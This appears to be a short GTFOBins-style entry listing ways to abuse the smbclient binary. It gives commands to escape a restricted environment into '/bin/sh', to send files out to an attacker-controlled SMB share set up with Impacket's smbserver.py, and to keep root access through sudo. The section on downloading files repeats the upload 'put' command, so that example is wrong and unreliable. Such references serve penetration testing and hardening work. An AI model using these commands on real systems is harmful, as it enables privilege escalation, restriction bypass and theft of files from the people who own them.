A valid SMB/CIFS server must be available.
It can be used to break out from restricted environments by spawning an interactive system shell.
smbclient '\\attacker\share'
!/bin/sh
It can exfiltrate files on the network.
Install Impacket and run sudo smbserver.py share /tmp on the attacker box to collect the file.
smbclient '\\attacker\share' -c 'put file_to_send where_to_save'
It can download remote files.
Install Impacket and run sudo smbserver.py share /tmp on the attacker box to send the file.
smbclient '\\attacker\share' -c 'put file_to_send where_to_save'
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo smbclient '\\attacker\share'
!/bin/sh